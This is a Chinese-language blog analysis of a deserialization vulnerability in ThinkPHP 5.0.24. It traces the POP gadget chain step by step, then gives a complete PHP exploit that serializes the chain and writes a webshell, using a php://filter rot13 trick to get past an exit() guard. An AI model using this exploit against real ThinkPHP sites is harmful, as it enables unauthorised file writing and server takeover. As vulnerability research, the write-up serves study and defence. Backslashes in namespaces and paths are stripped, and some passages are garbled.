网络知识 娱乐 thinkphp5.0.24反序列化漏洞分析

thinkphp5.0.24反序列化漏洞分析

thinkphp5.0.24反序列化漏洞分析

文章目录

  • thinkphp5.0.24反序列化漏洞分析
    • 具体分析
      • 反序列化起点
      • toArray
      • getRelationData分析
      • $modelRelation生成
      • 进入__call前的两个if
      • __call
      • 虚假的写文件
      • setTagItem
      • 绕过exit
    • exp
    • pop链图
    • 解决windows下的文件名问题
    • 参考链接

thinkphp5框架:

image-20220615000257518

thinkphp5的入口文件在publicindex.php,访问

http://192.168.64.105/thinkphp_5.0.24/public/index.php

image-20220615000539160

具体分析

反序列化起点

写一个反序列化入口点

image-20220615001131637

全局搜索__destruct()函数

image-20220615001115342

thinkphp_5.0.24thinkphplibrarythinkprocesspipesWindows.php中的__destruct()函数,调用了removeFiles()

image-20220615001339350

跟进removeFiles(),第163行的file_exists可以触发__toString方法

image-20220615001418986

全局搜索__toString方法

thinkphplibrarythinkModel.php的第2265行,发现其调用了toJson方法

image-20220616230519422

跟进toJson,发现其调用了toArray()方法(在Model.php中)

image-20220616230630861

toArray

跟进toArray,发现其有三处可以调用__call方法(就是整一个可以控制的类对象,然后让其调用该类不存在的方法,然后触发__call魔术方法)

__call(),在对象中调用一个不可访问方法时调用。

image-20220616231036322

着重看第三处,也就是第912行,这个需要我们控制$value变量

这个$value变量是根据 $value = $this->getRelationData($modelRelation);而来的

getRelationData分析

跟进getRelationData方法,注意参数$modelRelation需要是Relation类型的,该方法也是thinkphplibrarythinkModel.php中定义的

image-20220616235535073

如果我们让if满足,那么$value=$this->parent,看三个条件

  1. $this->parent存在且可控
  2. 第二个条件!$modelRelation->isSelfRelation(),跟进isSelfRelation()方法,该方法在thinkphplibrarythinkmodelRelation.php中定义,返回$this->selfRelation,可控

image-20220617230450476

  1. 第三个条件get_class($modelRelation->getModel()) == get_class($this->parent),也就是

跟进getModel()函数,该函数在thinkphplibrarythinkmodelRelation.php,返回$this->query->getModel(),其中$query可控

image-20220617230828281

所以我们要查哪个类的getModel()可控,最后找到了thinkphplibrarythinkdbQuery.php的getModel方法,该方法返回$this->model,并且$this->parent可控

image-20220617231051519

三个条件都满足,执行$value = $this->parent; return $value;,也就是thinkconsoleOutput

该函数分析到这里

$modelRelation生成

上面分析了函数的执行过程,接下来分析我们怎么能传入一个Relation类的$modelRelation参数

发现$relation()函数是根据$relation的值进行调用的,需要满足if条件method_exists

image-20220617231704327

跟进Loader::parseName瞅一瞅,这个函数也只是对传入的$name进行了一些大小写的替换,没有一些很严格的过滤操作,因为$name可控,所以$relation可控

image-20220617232020032

在$relation可控的前提下,要满足这个method_exists,则需要将$relation设定为$this(也就是thinkphplibrarythinkModel.php)中存在的方法

if (method_exists($this, $relation))

这里选择getError,因为其不仅在Model类中定义,且error可控

在这里插入图片描述

所以我们只要设置了$error,那么其值就会通过 $modelRelation = $this->$relation();传给$modelRelation ,因为relation()也就是 Error(),所以就是$modelRelation = $this->Error(),即$modelRelation = $error

modelRelation分析到这里,而我们传的$error是什么,接下来会分析,其实就是HasOne

进入__call前的两个if

接下来要分析两个if条件

image-20220617233102696

我们看第一个if,要满足 m o d e l R e l a t i o n 这 个 类 中 存 在 g e t B i n d A t t r ( ) 函 数 , 而 且 下 一 个 ‘ modelRelation这个类中存在getBindAttr()函数,而且下一个` modelRelationgetBindAttr()bindAttr`是该函数的返回值

全局搜索getBindAttr

image-20220617233345853

image-20220620155134075

其在OneToOne.php中定义,该类是个抽象类,且OneToOne类是Relation类的派生类,其$this->bindAttr可控

我们搜索继承OneToOne的类,发现HasOne类,所以可以让$modelRelation的值为HasOne,这个也满足getRelationData()传入的是Relation类对象的要求,并且bindAttr可控,满足第二个if条件,简直完美!!!

image-20220617233841235

其实下面还有一个if,但是我们简单看下,将$bindAttr的键值对中的键给$key,然后进行isset判断,当已经定义才满足if,我们要进入的是不满足if条件的时候

image-20220617234621780

__call

然后进入__call,要选择一个能写webshell的类的__call方法,选择了thinkphplibrarythinkconsoleOutput.php

所以上面的$value应该是一个thinkphplibrarythinkconsoleOutput.php类对象

image-20220617114358393

在这里 m e t h o d 和 method和 methodthis->styles是可控的,array_unshift()对调用block()方法没有影响,可以执行block方法,跟进Output的block方法

image-20220617114621530

跟进writeln方法

image-20220617114702866

跟进write方法

image-20220617114808021

handle属性可控,所以全局搜索write方法

thinkphplibrarythinksessiondriverMemcached.php的write方法

image-20220617114921780

而$this->handler可控,所以全局搜索可用的set方法

虚假的写文件

thinkphplibrarythinkcachedriverFile.php中,set方法可以使用file_put_contents写文件,第158行的exit可以使用伪协议进行绕过

image-20220617194846677

初步来看可以利用file_put_contents来写文件,我们跟入 d a t a 和 data和 datafilename,看 d a t a 与 data与 datafilename是否可控

  1. $filename的值是由getCacheKey()方法决定的,跟进getCacheKey,可以知道filename的后缀名是php,是写死的,文件名部分可控

image-20220618001440689

  1. 跟进$data,发现$data是已经被写死了,$value的值只能为true

image-20220617201921089

所以就是file_put_contents可以写文件,但是内容不可控

setTagItem

所以继续看set接下来的代码,调用了setTagItem()

image-20220617202106451

进入thinkphplibrarythinkcacheDriver.phpsetTagItem方法,(注意File类继承了Driver类,但是Driver是一个抽象类)并且会再执行一次set方法,这一次$key是由$this->tage而来,可控;$value由$name而来,也是可控的

在这里插入图片描述

但是windows对文件名有相应的要求,所以复现不容易

绕过exit

上面已经分析得很详细了,这里简单调试分析一下

到$value

image-20220621201707779

到set方法这里,着重看一下,第一次整的时候,直接报错了,转到异常处理了,

image-20220621202647751

这里是因为我的文件名不符合要求,所以先随便写一个,看接下来怎么走

随便写一个之后,走到setTagItem()这里,这里$tag是可控的,所以$key是可控的

image-20220621203338705

这个第二次调用set函数,$key可知,$value可控

image-20220621230309625

放在linux运行,生成了对应的文件

image-20220621232215812

查看

image-20220621232244578

这里虽然看着是加了',但是其实并没有,注意访问的时候,将?进行url编码一下

注意需要将php的short_open_tag设为Off,不然会将之间的内容识别为php代码,但是<? 之后是cuc,不符合语法,所以报错

image-20220622085044431

exp

<?php

namespace thinkprocesspipes;
use thinkmodelPivot;
abstract class Pipes
{}
//Windows类中有$files数组 通过file_exists触发__toString方法
class Windows extends Pipes{
        private $files = [];    //$files是个数组
        public function __construct()
        {
            $this->files = [new Pivot()];   //触发Model类的toString()方法,因为Model是一个抽象类,所以选择其派生类Pivot
        }
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model{
}
# Model抽象类
namespace think;
use thinkmodelrelationHasOne;
use thinkconsoleOutput;
use thinkdbQuery;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;

    function __construct(){
        $this->parent = new Output();       //调用__call()
        $this->append = ['getError'];       //会用foreach将append中的值传给$name,传给$relation,调用getError(),将下面的error传给$modelRelation
        $this->error = new HasOne();       //最后传给$modelRelation
        $this->selfRelation = false;    //isSelfRelation()
        $this->query = new Query();     //用于判断getRelationData()中if条件的第三个

    }
}
#Relation抽象类 之后的Output是Relation的派生类
namespace thinkmodel;  
use thinkdbQuery;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;  # 这个用于判断getRelationData()中if条件的第二个
        $this->query = new Query();#class Query
    }
}
#OneToOne HasOne  用于传给$modelRelation,主要是用于满足if条件,进入value->getAttr()
namespace thinkmodelrelation;
use thinkmodelRelation;   
abstract class OneToOne extends Relation{ # OneToOne抽象类
    function __construct(){
        parent::__construct();
    }
}
// HasOne
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"]; # 这个需要动调,才能之后为什么这么写,待会说    
    }
}



#Output  进入Output->__call()
namespace thinkconsole;
use thinksessiondriverMemcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();   //目的调用Memcached类的write()函数
        $this->styles = ['getAttr'];   # 这是因为是通过Output->getAttr进入__call函数,而__call的参数中$method是getAttr
    }
}

#Query
namespace thinkdb;
use thinkconsoleOutput;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();  //判断getRelationData()中if条件的第三个
    }
}
#Memcached
namespace thinksessiondriver;
use thinkcachedriverFile;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();    //目的是调用File->set()
    }
}
#File
namespace thinkcachedriver;
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./',    //
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}


use thinkprocesspipesWindows;
echo urlencode(serialize(new Windows()));

pop链图

这里借用一下osword师傅的图

img

解决windows下的文件名问题

我们注意到,在原有的链子中,我们在thinkphplibrarythinksessiondriverMemcached.php中将$this->handler设置为File类对象,目的是调用File.php的set()方法

但是也可以将$this->handler设置为thinkphplibrarythinkcachedriverMemcached.php中的Memcached类对象,注意这两个php文件是不一样的,其也有一个set方法

第114行也有一个set方法,且handler可控

image-20220622000757213

看这个getCacheKey()函数,这个options可控,所以返回值可控

image-20220622000923068

所以$key可控,但是我们前面分析过了,这个$value不可控,所以还是要进115行的setTagItem()函数,跟进,它还是在Driver.php中定义的,这里根据前面的分析,$key和$value都是可控的,且没有那个?这样的特殊符号的影响

image-20220622001606288

详细参考:Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)

参考链接

  1. ThinkPHP5.0.x 反序列化_H3rmesk1t的博客-CSDN博客_thinkphp反序列化
  2. Thinkphp5.0.24反序列化漏洞分析与利用 - Yhck - 博客园 (cnblogs.com)
  3. thinkphp v5.0.24 反序列化利用链分析_kee_ke的博客-CSDN博客_thinkphp v5.0.24
  4. [(1条消息) 省信息安全技术大赛]Web4_沫忆末忆的博客-CSDN博客